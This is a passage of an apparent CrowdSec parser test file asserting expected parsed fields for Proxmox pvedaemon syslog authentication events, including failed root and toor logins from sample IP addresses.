results["s00-raw"]["crowdsecurity/syslog-logs"][16].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Parsed["timestamp"] == "Jan 4 17:34:11" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Parsed["message"] == " successful auth for user 'root@pam'" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Parsed["pid"] == "2891825" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][17].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam')" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Parsed["pid"] == "3663339" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Parsed["timestamp"] == "Jan 4 17:34:08" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][18].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Parsed["pid"] == "3483744" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Parsed["timestamp"] == "Jan 4 17:34:12" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Meta["machine"] == "hypervisor" results["s00-raw"]["crowdsecurity/syslog-logs"][19].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Parsed["program"] == "pvedaemon" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Parsed["timestamp"] == "Jan 4 17:34:13" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Parsed["message"] == " successful auth for user 'root@pam'" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Parsed["pid"] == "2891825" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][20].Evt.Meta["machine"] == "hypervisor" len(results["s01-parse"]["fulljackz/proxmox-logs"]) == 21 results["s01-parse"]["fulljackz/proxmox-logs"][0].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=toor@pam msg=no such user ('toor@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["client_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["timestamp"] == "Jan 4 17:34:01" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["source_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][0].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][1].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["timestamp"] == "Jan 4 17:34:02" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["client_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["source_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][2].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["timestamp"] == "Jan 4 17:34:02" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["client_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["machine"] == "hypervsior" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["source_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][2].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][3].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["client_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["source_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][3].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][4].Success == false results["s01-parse"]["fulljackz/proxmox-logs"][5].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["client_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["source_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][5].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][6].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["client_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["message"] == "authentication failure; rhost=2001:bc8:628:1811::1 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Parsed["timestamp"] == "Jan 4 17:34:03" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["source_ip"] == "2001:bc8:628:1811::1" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][6].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][7].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["client_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('toor@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][7].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][8].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["client_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Parsed["timestamp"] == "Jan 4 17:34:07" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["source_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][8].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][9].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["client_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('a@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][9].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][10].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["client_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('b@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][10].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][11].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["client_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('c@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][11].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][12].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('d@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Parsed["client_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][12].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][13].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["client_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["message"] == "authentication failure; rhost=1.1.1.1 user=toor@pam msg=no such user ('e@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Parsed["timestamp"] == "Jan 4 17:34:04" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][13].Evt.Meta["source_ip"] == "1.1.1.1" results["s01-parse"]["fulljackz/proxmox-logs"][14].Success == false results["s01-parse"]["fulljackz/proxmox-logs"][15].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["client_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["timestamp"] == "Jan 4 17:34:08" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["source_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][15].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][16].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["timestamp"] == "Jan 4 17:34:09" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["client_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["source_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["source_user"] == "root" results["s01-parse"]["fulljackz/proxmox-logs"][16].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][17].Success == false results["s01-parse"]["fulljackz/proxmox-logs"][18].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["program"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["realm"] == "pam" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["pid"] == "3663339" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["timestamp"] == "Jan 4 17:34:08" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["client_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Parsed["message"] == "authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam')" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["source_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["source_user"] == "toor" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["datasource_path"] == "proxmox-logs.log" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["log_type"] == "pve_failed-auth" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["machine"] == "hypervisor" results["s01-parse"]["fulljackz/proxmox-logs"][18].Evt.Meta["service"] == "pvedaemon" results["s01-parse"]["fulljackz/proxmox-logs"][19].Success == true results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["client_ip"] == "::ffff:172.21.10.2" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["pid"] == "3483744" results["s01-parse"]["fulljackz/proxmox-logs"][19].Evt.Parsed["program"] == "pvedaemon" 